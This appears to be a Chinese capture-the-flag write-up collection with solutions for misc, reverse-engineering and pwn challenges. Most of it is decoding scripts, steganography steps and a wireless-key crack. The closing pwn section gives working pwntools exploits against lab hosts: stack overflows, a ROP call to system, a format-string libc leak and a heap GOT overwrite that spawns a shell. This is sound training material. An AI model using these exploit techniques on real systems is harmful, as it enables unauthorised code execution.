提示说：四个python，所以说明这个要用脚本来爆破，可是base家族那么多，不知道具体是哪个，所以根本不好爆破，细节来了，题目说python，当通过用python 调用base64 这个模块的时候，发现这个模块允许的只有base16 32 64 和85才可以解码，且提示标注了4个python，所以基本确定这个码是通过这四个分别加密得到的。所以可以通过正则的匹配来进行爆破。附带脚本：

import re

import base64

with open('base_python.txt','r') as f:

    decode = f.read()

    try:

        for i in range(30):

         s = re.compile(r'[a-z]|[=]').findall(decode)

         s1 = re.compile(r'[0189]').findall(decode)

         s2 = re.compile(r'[,%;>|){:”’*?@<.(]').findall(decode)

         if 'flag' in decode:

             print(decode)

             print(i)

             break

         elif (bool(s1) == False) and  (bool(s2) ==False) :

             decode = base64.b32decode(decode)

         elif bool(s) == True and bool(s2) == False :

             decode = base64.b64decode(decode)

         elif bool(s2) == True:

             decode = base64.b85decode(decode)

         else :

             decode = base64.b16decode(decode)

         decode = str(decode, encoding='utf-8')

    except:

        print(decode)

f.close()

print(decode)

 

爆破后发现爆破出来的是：

flag{OTRhZTkyOTE0NmJiNGFjNWZhNDMzOTM1ZjkxYzg4Njk==}

提交并不是对的flag，也许是里面的也要解码，不了解base的人会认为这是base64，但是解码发现是错误的。所以这就考到了base的原理性了，发现里面的字符串的长度是45，而base64通常都是4的倍数，所以明显多了一个=，去掉=，在解码即可得到flag，即为：

flag{94ae929146bb4ac5fa433935f91c8869}

 

 

misc9 MIT 图片隐写

 

题目给了一张 gif 但是打不开 用 HXD 打开发现是文件头损坏

用010editor修补文件头增加GIF8修复后发现一张动图

 将后面的 key base64 解密后得到密钥：ctfer2333

此外用 HXD 还发现这是个合并文件

所以用 binwalk 或者手动分解 得到一个 zip 解压得到 flag.png

 这张图片采用 steganography 加密

密钥是之前获得的 ctfer2333 解密即得到 flag 在线的解密地址：http://www.atool.org/steganography.php

解出flag：

flag{Welc0me_T0_MIT}

 

 

misc10 无线密码破解+流量分析

 

将www.ivs复制到kali下，使用命令破解aircrack-ng www.ivs

里面就一个可破解的，SSID为ceshi

破解的密码是12345

使用这个密码打开rar压缩包，采用Wireshark打开，在HTTP中找到key

key{balabala}

 

 

misc11 Traffic_Light

 

我们看到后缀为pptx，就知道了这类文件可以通过改变后缀为zip，解压出pptx里面用到的相关资源。得到xiaoming.zip继续解压，有flag.zip和两个破解密文txt

第一部分：2053250813784316，通过中文电码解码得到密文为：我是密码

第二部分：看到一串类似于乱码我们猜测，文本文件改了BOM头。

010editor载入，发现BOM头为fffe，这是Unicode的，我们尝试改为big编码的feff:

修改之后打开文本文件，乱码恢复：我也是密码

我们拼接两份密码为：我是密码我也是密码。解压得到flag.txt

很明显这是base64，我们修复为ZmxhZ3twcHR4cG93ZXJwb2ludH0=，得到

sssssssssssssssssssssssssssflag{pptxpowerpoint}

 

flag{pptxpowerpoint}

 

 

misc12 日志审计

 

首先找出日志中黑客进行攻击的日志

发现有flag.php进行注入的指令

对指令进行url解码得到ASCII码

对ASCII码进行转换得到flag

 

flag{mayiyahei196}

 

python脚本：

 

#coding=utf-8

 

import re

 

#打开文件

with open('log','r') as file:

text = file.read()

 

#匹配ascii码

asclist = re.findall(r'%3D(\d+)-',text)

 

#print filelist

#将ascii码转换为字符

flag = ""

for i in range(0,len(asclist)):

flag += chr(int(asclist[i]))

#打印flag

print flag

 

flag{mayiyahei1965ae7569}

 

misc13 challenge 序列化

用010editor打开，看到有66,6c,61,67猜测是flag，复制出文本数据
写python脚本：

import re

strings = '''

0000h: 80 02 7D 71 00 28 4B 01 55 02 36 36 71 01 4B 02  €.}q.(K.U.66q.K.

0010h: 55 02 36 63 71 02 4B 03 55 02 36 31 71 03 4B 04  U.6cq.K.U.61q.K.

0020h: 55 02 36 37 71 04 4B 05 55 02 37 62 71 05 4B 06  U.67q.K.U.7bq.K.

0030h: 55 02 33 30 71 06 4B 07 55 02 36 31 71 07 4B 08  U.30q.K.U.61q.K.

0040h: 55 02 33 33 71 08 4B 09 55 02 36 32 71 09 4B 0A  U.33q.K.U.62q.K.

0050h: 55 02 36 32 71 0A 4B 0B 55 02 33 36 71 0B 4B 0C  U.62q.K.U.36q.K.

0060h: 55 02 36 32 71 0C 4B 0D 55 02 36 33 71 0D 4B 0E  U.62q.K.U.63q.K.

0070h: 55 02 36 33 71 0E 4B 0F 55 02 33 32 71 0F 4B 10  U.63q.K.U.32q.K.

0080h: 55 02 33 33 71 10 4B 11 55 02 36 36 71 11 4B 12  U.33q.K.U.66q.K.

0090h: 55 02 33 39 71 12 4B 13 55 02 36 32 71 13 4B 14  U.39q.K.U.62q.K.

00A0h: 55 02 33 35 71 14 4B 15 55 02 33 33 71 15 4B 16  U.35q.K.U.33q.K.

00B0h: 55 02 37 64 71 16 75 2E                          U.7dq.u.

'''

reg = re.compile(r"U\.(.+?)q\.")

str_hex = re.findall(reg,strings)

print(str_hex)

flag = ""

for item in str_hex:

flag += chr(int(item,16))

print(flag)

 

flag{0a3bb6bcc23f9b53}

 

 

Reverse

 

reverse1 baby_reverse

 

将前三个字符 转化为ascii ，然后存放到一个数组里

得到了加密后的字符串， 接着查看encode()函数，看看它的加密算法

加密的过程是 将用户输入的字符串，拆分成了3组，每组进行异或和加减运算之后 累计到一个变量里，将这个变量跟enflag做比较。

python写一个脚本：

enflag=[0x7e,0x74,0x75,0x7f,0x67,0x63,0x24,0x63,0x60,0x65,0x74,0x6d,0x24,0x7d,0x43,0x25,0x7a,0x69]

v3=[]

v4=[]

v5=[]

v7=18

flag=''

for i in range(0,len(enflag),3):

    v5.append((enflag[i]^v7)-6)

    v4.append((enflag[i+1]^v7)+6)

    v3.append(enflag[i+2]^v7^6)

 

for j in range(v7/3):

    flag+=chr(v5[j])+chr(v4[j])+chr(v3[j])

    print flag

 

flag{w0wtqly0uW1n}

 

 

reverse2 baby

 

用ida打开程序，看main程序，r转换

复制到kali存为a，命令输出flag

cat a |awk -F , '{printf $2}'|tr -d "'"|tr -d " "

 

flag{Re_1s_S0_C0OL}

flag{Re_1s_S0_C0oL}

 

 

reverse3 工程1

 

 

我们打开这个图片，得到如上提示，继续查看属性无任何提示。

我们binwalk以下看看

 可以看到也并没有什么其他多余的文件，ZLIb以及LZMA一般可以忽视。

但是根据我的经验对于损坏的某些隐藏文件是无法binwalk出来的，于是我们用010edit打开它，查找png文件尾。

发现了并没有结束，5D5A9000这个明显是4D5A9000，被更改了exe文件头

但是我们同样在尾部发现了AE426082，出题人为了迷惑我们在混合文件的尾部又添加上了png文件的文件尾，让我们以为这只是一张图片，没有任何其他的文件。

我们利用010edit手工提取出来exe

可以发现这个应该是属于VB程序，我们只要猜对6次数据就可以获得flag,但是我们如果算一下概率是6的6次方，基本可以放弃。利用VBdecomplier进行反编译看源代码。 可以利用Cheatengine不断再次扫描，最后得到4个内存地址，把他们都改成6弹出了flag。

或者拖进od里，搜索字符串直接出现flag

 

flag{Y0uAreGoo5}

 

reverse4 re

 

Ida打开发现字符串YmxGY3s3MnMnYjd3Y2X5XWM5YfpoXWQkNSMlMzMnYjl9分析

这是一个简单的改了密码表的base64加密算法的逆向题

加密过程和标准的base64一样

只是密码表被换成了

/abcdefghIJKLMNOPQRSTUVWXYZABCDEFGijklmnopqrstuvwxyz0123456789+=

用python3脚本

 

#base64加解密脚本，自定义词典

# coding:utf-8

 

#s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

#s = "vwxrstuopq34567ABCDEFGHIJyz012PQRSTKLMNOZabcdUVWXYefghijklmn89+/"

s = "/abcdefghIJKLMNOPQRSTUVWXYZABCDEFGijklmnopqrstuvwxyz0123456789+="

 

def My_base64_encode(inputs):

# 将字符串转化为2进制

bin_str = []

for i in inputs:

x = str(bin(ord(i))).replace('0b', '')

bin_str.append('{:0>8}'.format(x))

#print(bin_str)

# 输出的字符串

outputs = ""

# 不够三倍数，需补齐的次数

nums = 0

while bin_str:

#每次取三个字符的二进制

temp_list = bin_str[:3]

if(len(temp_list) != 3):

nums = 3 - len(temp_list)

while len(temp_list) < 3:

temp_list += ['0' * 8]

temp_str = "".join(temp_list)

#print(temp_str)

# 将三个8字节的二进制转换为4个十进制

temp_str_list = []

for i in range(0,4):

temp_str_list.append(int(temp_str[i*6:(i+1)*6],2))

#print(temp_str_list)

if nums:

temp_str_list = temp_str_list[0:4 - nums]

 

for i in temp_str_list:

outputs += s[i]

bin_str = bin_str[3:]

outputs += nums * '='

print("Encrypted String:\n%s "%outputs)

 

def My_base64_decode(inputs):

# 将字符串转化为2进制

bin_str = []

for i in inputs:

if i != '=':

x = str(bin(s.index(i))).replace('0b', '')

bin_str.append('{:0>6}'.format(x))

#print(bin_str)

# 输出的字符串

outputs = ""

nums = inputs.count('=')

while bin_str:

temp_list = bin_str[:4]

temp_str = "".join(temp_list)

#print(temp_str)

# 补足8位字节

if(len(temp_str) % 8 != 0):

temp_str = temp_str[0:-1 * nums * 2]

# 将四个6字节的二进制转换为三个字符

for i in range(0,int(len(temp_str) / 8)):

outputs += chr(int(temp_str[i*8:(i+1)*8],2))

bin_str = bin_str[4:]        

print("Decrypted String:\n%s "%outputs)

 

print()

print("     *************************************")

print("     *    (1)encode         (2)decode    *")        

print("     *************************************")

print()

 

num = input("Please select the operation you want to perform:\n")

if(num == "1"):

input_str = input("Please enter a string that needs to be encrypted: \n")

My_base64_encode(input_str)

else:

input_str = input("Please enter a string that needs to be decrypted: \n")

My_base64_decode(input_str)

 

Flag是

flag{76sgf17gf9asydjhatd93e73gf9}

 

reverse5 cut

 

### 题目：cut

##### 前言：这题是自己当时敲了2个钟C语言，搞出来的，是用于校赛招新小朋友的，因为要检测测试，还找人试着解了下，OK，起函数名有些头疼，就随意些啦，哈哈哈，莫见怪。

#### 开始分析：

首先拖进ida分析一波：

v7是我们的输入，然后可以改写成input，memset初始化不管，重点函数就是_substr666，0x233333和0x666666，还有0x8048000（嗯，认真点），v4是判断条件，看v4如果是1，就是成功congratulation，0就是失败tryagain~把v4改成check，于是：

这样就舒服些，首先进去_substr666看看是干嘛的，因为对input进行了操作：

a3是0，a4是6，a1是新申请的空间，看for循环，判断出是个复制函数，把input输入中下标从0到5的6个字符填充到a1中存起来，很清晰，这样就很清晰了，_substr666(存储数组，输入，起始下标，长度)，就是个字符串裁剪函数嘛，于是很快懂了，substr666(v8, &input, 0, 6);  substr666(v14, &input, 6, 1); substr666(v11, &input, 7, 6);就是把输入切割成了三段分别存到v8，v14和v11中。

接下来看if判断可以知道，要让check为1，那么3个if要同时满足条件，而且是对我们的输入切片进行处理的~

#### 先进第一关：

看到又是substr666这个切片函数，这次是str字符，我们去把它取出来：

str = vosng%_Ngemkt，看逻辑就是说对str切6个字节，下标从7开始，复制到s2中，然后分别对6位输入进行异或加密，存到s1中，比较s1和s2，相同即可，我们知道异或是可以解密的，这里不难。

#### 进入第二关：

这里很明显，就是把str的前面6个字节放到s再放到a2中，然后把输入进行加密存到v7中（简单的加减法加密），最后比较a2和v7的每一位，6位都相同即可，逆向的话也OK。

#### 最后第三关：

简单，就是判断第7个字符是不是等于“_”

这样解密脚本就可以写出来了，如下：

 

```c++

#include

#include

using namespace std;

//str = {vosng%_Ngemkt}

int main()

{

char input1[100] = {""};

char input2[100] = {""};

char input3[100] = {""};

char a[100] = {"vosng%"};

char b[100] = {"Ngemkt"};

 

for(int i = 0;i

{

input1[i] = char(int(b[i]^2)-4);

}

input2[0] = '_';

for(int i = 0;i

{

input3[i] = char(int(a[i])+1-i);

}

 

cout<

return 0;

}

```

 

跑出来是这个：

 

正确，再加个前缀，那么这一道题就完事了：

 

flag{Hacker_world!}

 

 

reverse6 reverse_3.exe

 

载入OD

搜索字符串

随意输入1111111111111111111

发现进行了base64加密

再向下单步 发现字符串

 

结合IDA看下

int sub_4156E0()

{

size_t v0;// eax@6

constchar*v1;// eax@6

size_t v2;// eax@9

char v4;// [sp+0h] [bp-188h]@6

char v5;// [sp+Ch] [bp-17Ch]@1

size_t v6;// [sp+10h] [bp-178h]@3

size_t j;// [sp+DCh] [bp-ACh]@6

size_t i;// [sp+E8h] [bp-A0h]@1

char Dest[108];// [sp+F4h] [bp-94h]@5

char Str;// [sp+160h] [bp-28h]@6

char v11;// [sp+17Ch] [bp-Ch]@6

unsignedint v12;// [sp+184h] [bp-4h]@1

int savedregs;// [sp+188h] [bp+0h]@1

memset(&v5,0xCCu,0x17Cu);

v12 =(unsignedint)&savedregs ^ __security_cookie;

for( i =0;(signedint)i <100;++i )

{

v6 = i;

if( i >=0x64)

sub_411154();

Dest[v6]=0;

}

sub_41132F("please enter the flag:", v4);

sub_411375("%20s",(unsignedint)&Str);

v0 = j_strlen(&Str);

v1 =(constchar*)sub_4110BE(&Str, v0,&v11);

strncpy(Dest, v1,'(');

sub_411127();

i = j_strlen(Dest);

for( j =0;(signedint)j <(signedint)i;++j )

Dest[j]+= j;

v2 = j_strlen(Dest);

strncmp(Dest, Str2, v2);

if( sub_411127())

sub_41132F("wrong flag!\n", v4);

else

sub_41132F("rigth flag!\n", v4);

sub_41126C(&savedregs,&dword_415890);

sub_411280();

return sub_411127();

}

 

分析可知:将输入的串Str1先进行base64加密 再与串Str2比较 若相等 则输出"right flag"

由此，我们只需将Str2也就是"e3nifIH9b_C@n@dH"进行解密即可

 

Python脚本：

 

import base64

s ="e3nifIH9b_C@n@dH"

flag =""

for i in range(len(s)):

flag += chr(ord(s[i])- i)

flag = base64.b64decode(flag)

print(flag)

 

所以得到flag{i_l0ve_you}

 

reverse7 题目.bin

 

我们首先用winrar打开压缩包，发现了如下提示，估计是要自己创建一个破解压缩包的字典，通过对字母或数字进行base64加密，base85加密，base91加密，然后连接三种加密后的字符串，写在字典里，然后利用ARCHPR选择字典模式破解。

 

我们写了如下脚本：

     

import base64

import base91

a=''

b=''

c=''

d=''

with open('zidian.txt', 'w') as f:

    for i in range(0,9999):

        a=base64.b64encode(str(i).encode('utf-8'))

        a=str(a)

        a=a[2:-1]

        b=base64.b85encode(str(i).encode("utf-8"))

        b=str(b)

        b=b[2:-1]

        c=base91.encode(str(i).encode("utf-8"))

        d=str(a)+str(b)+str(c)

        f.write(d+"\r\n")

        #print(d)

 

我们猜测它是数字不超过四位，所以形成如上脚本，但是需要注意的是，似乎python2.X是没有base85加密解密方法的，所以需要升级到python3以上，但是还需要base91，于是我们上GitHub下载了别人的base91.py来导入使用。如下为生成的爆破字典。

 

接下来使用ARCHPR字典模式来爆破，将压缩包拖入软件，字典文件选择自己生成的txt。

 

我们得到了口令，很明显如果直接暴力破解不知道得多久。

NjAwOA==HZU+a3tVEO

我们得到一个名为题目.bin的文件，直接用记事本打开发现了它是010edit以16进制导出的base64形式的文件，所以我们可以直接用010导入。

 

我们导入之后可以看出是正常的exe文件，但是我们需要将它导出为exe，最后少了四个0也要补上。

得到一个vb程序，如下：

我们根据提示知道只要计算出一道3位数+3位数就可以得到flag,然而我们实际操作之后，发现速度根本来不及，它有计时，超过时间就失败，而且更坑的是只让你输入两位数，这样永远对不了。所以我们直接上IDA.

但是对于VB，ida看不到伪代码，所以我们直接看汇编，找到出flag处。

 

很明显这题跟异或加密有关。写得解FLAG的python代码，如下：

a='fpceyvb3qgcq;sus'

k=0

y=''

for i in a: 

    y=y+chr((((ord(i)-1)^5))^6)

print(y)

 

得到flag为：flag{vb1seas9qwq}

 

 

reverse8 babybaseX

 

 

# babybaseX Writeup

 

> 主要考察base family中的base58编码

 

但是给的表是打乱的具有迷惑性的`vrYenHCzNgu7FRTDbLiqtBpQZoUS3f5dKWsaM8Gm1EyVJkjw4cA6X92Pxh0OLl+/ `，在base58后加入了base64的`0OLl+/`部分，但其实并不会用到这六个字符同时在题目中也未明确出现58字样，而是通过`int base = *(pbegin+1)-*pbegin+25; `隐式给出了base，所以在写base解码的时候不能直接写出base58，而是需要测试base的值，最终得到与加密后结果`gmJNxnNCPChRefqDYSU1KZ`相同的输入，即为flag。

 

base58解码的writeup如下：

 

```shell

 

#include

#include

#include

#include

#include       // std::setw

 

static const char* pszBase58 = "vrYenHCzNgu7FRTDbLiqtBpQZoUS3f5dKWsaM8Gm1EyVJkjw4cA6X92Pxh0OLl+/";

bool DecodeBase58(const char* psz, std::vector& vch)

{

    // Skip leading spaces.

    while (*psz && isspace(*psz))

        psz++;

    // Skip and count leading '1's.

    int zeroes = 0;

    int length = 0;

    while (*psz == '1') {

        zeroes++;

        psz++;

    }

    // Allocate enough space in big-endian base256 representation.

    int size = strlen(psz) * 733 /1000 + 1; // log(58) / log(256), rounded up.

    std::vector b256(size);

    // Process the characters.

    while (*psz && !isspace(*psz)) {

        // Decode base58 character

        const char* ch = strchr(pszBase58, *psz);

        if (ch == nullptr)

            return false;

        // Apply "b256 = b256 * 58 + ch".

        int carry = ch - pszBase58;

        int i = 0;

        for (std::vector::reverse_iterator it = b256.rbegin(); (carry != 0 || i < length) && (it != b256.rend()); ++it, ++i) {

            carry += 58 * (*it);

            *it = carry % 256;

            carry /= 256;

        }

        assert(carry == 0);

        length = i;

        psz++;

    }

    // Skip trailing spaces.

    while (isspace(*psz))

        psz++;

    if (*psz != 0)

        return false;

    // Skip leading zeroes in b256.

    std::vector::iterator it = b256.begin() + (size - length);

    while (it != b256.end() && *it == 0)

        it++;

    vch.reserve(zeroes + (b256.end() - it));

    vch.assign(zeroes, 0x00);

    while (it != b256.end())

        vch.push_back(*(it++));

    return true;

}

 

bool DecodeBase58(const std::string& str, std::vector& vchRet)

{

    return DecodeBase58(str.c_str(), vchRet);

}

int main(int argc, char* argv[]){

    std::string encode="gmJNxnNCPChRefqDYSU1KZ";

    std::vector decode;

    DecodeBase58(encode, decode);

    std::cout<<"Decode: ";

    for(std::vector::iterator iter = decode.begin(); iter != decode.end(); ++iter)

    {

        std::cout<<*iter;

    }

 

    std::cout<

    return 0;

}

```

 

flag:flag{NowYouKnowBa5358}

 

 

Pwn

 

pwn1 baby_reverse

 

kali终端输入nc 192.168.1.101 9001

连上后直接ls

cat flag

flag{1823618491237087312321}

 

 

pwn2 stack1

 

#encoding:utf-8

#!/upr/bin/env python

from pwn import *

#p = process("./stack1")

p = remote("192.168.1.101","9002")

getshell=0x400751

payload = "a"*0x38+p64(getshell)

p.send(payload)

p.interactive()

 

flag{18o02el237087312321}

 

pwn3 stack2

 

#encoding:utf-8

#!/upr/bin/env python

from pwn import *

 

p = remote("192.168.1.113","9003")

#p = process("./stack2")

p.recvuntil("Come on,try to pwn me\n")

 

pop_rdi_ret=0x4007d3

arg=0x60111F

system=0x400570

payload = "a"*0x18+p64(pop_rdi_ret)+p64(arg)+p64(system)

 

p.send(payload)

p.interactive()

 

flag{18o02e09lkn332312321}

 

 

pwn4 human

 

#encoding:utf-8

#!/upr/bin/env python

from pwn import *

#context.log_level = "debug"

#p = process("./human")

p = remote("192.168.1.113","9004")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil("人类的本质是什么?\n")

 

payload="%11$p"

p.send(payload)

p.recv()

 

libc_main_ret =int(p.recv(14),16)-240

print "libc_main_ret-->",hex(libc_main_ret)

libc_base=libc_main_ret-libc.sym["__libc_start_main"]

one = libc_base +0xf1147#0xf02a4

print "libc-->",hex(libc_base)

print "one-->",hex(one)

 

p.recvuntil("人类还有什么本质?\n")

benzhi="真香鸽子"

main = 0x4007b6

payload=benzhi+(0x20-len(benzhi))*"a"+"b"*8+p64(one)

#gdb.attach(p,"b printf")

#pause()

p.send(payload)

 

#pause()

 

p.interactive()

 

flag{18o02e09l0oplksgfm72321}

 

Pwn5 heap1

 

#encoding:utf-8

from pwn import *

#context(os="linux", arch="amd64",log_level = "debug")

 

ip ="192.168.1.113"

if ip:

p = remote(ip,9005)

else:

p = process("./heap1")#, aslr=0

 

elf = ELF("./heap1")

#libc = ELF("./libc-2.23.so")

libc = elf.libc

#-------------------------------------

def sl(s):

p.sendline(s)

def sd(s):

p.send(s)

def rc(timeout=0):

if timeout == 0:

return p.recv()

else:

return p.recv(timeout=timeout)

def ru(s, timeout=0):

if timeout == 0:

return p.recvuntil(s)

else:

return p.recvuntil(s, timeout=timeout)

def debug(msg=''):

    gdb.attach(p,'')

    pause()

def getshell():

p.interactive()

#-------------------------------------

def create(size,contant):

ru("input your choice :")

sl("1")

ru("input the size of note :")

sl(str(size))

ru("Content of note:")

sd(contant)

 

def edit(Index,contant):

ru("input your choice :")

sl("2")

ru("input the id of note :")

sl(str(Index))

ru("input your note : ")

sd(contant)

 

def show(Index):

ru("input your choice :")

sl("3")

ru("input the id of note :")

sl(str(Index))

 

def delete(Index):

ru("input your choice :")

sl("4")

ru("input the id of note :")

sl(str(Index))

 

free_got = elf.got["free"]

print "free_got------>"+hex(free_got)

create(0x18,"a"*8)

create(0x10,"b"*8)

edit(0,"/bin/sh\x00"+"a"*0x10+p64(0x41))

#debug()

delete(1)

 

create(0x30,p64(0)*4+p64(0x30)+p64(free_got))

show(1)

 

ru("Content : ")

free = u64(p.recv(6).ljust(8,"\x00"))

libc_base = free- libc.symbols["free"]

system = libc_base+libc.symbols["system"]

print "free------>"+hex(free)

print "libc_base------>"+hex(libc_base)

 

edit(1,p64(system))

delete(0)

 

getshell()

 

#debug()

 

 

 

Pwn6 f4n_pwn

 

from pwn import *

 

#context.log_level = 'debug'

 

#p = process('./f4n_pwn')

p = remote('192.168.1.113',9006)

 

p.recvuntil('length : ')

p.sendline('-1')

payload = 'a'*0x57 + p32(0x080486BB)

p.recvuntil('name : \n')

p.sendline(payload)

 

p.interactive()

 

 

flag{18o02e97066skdja8sgfm72321}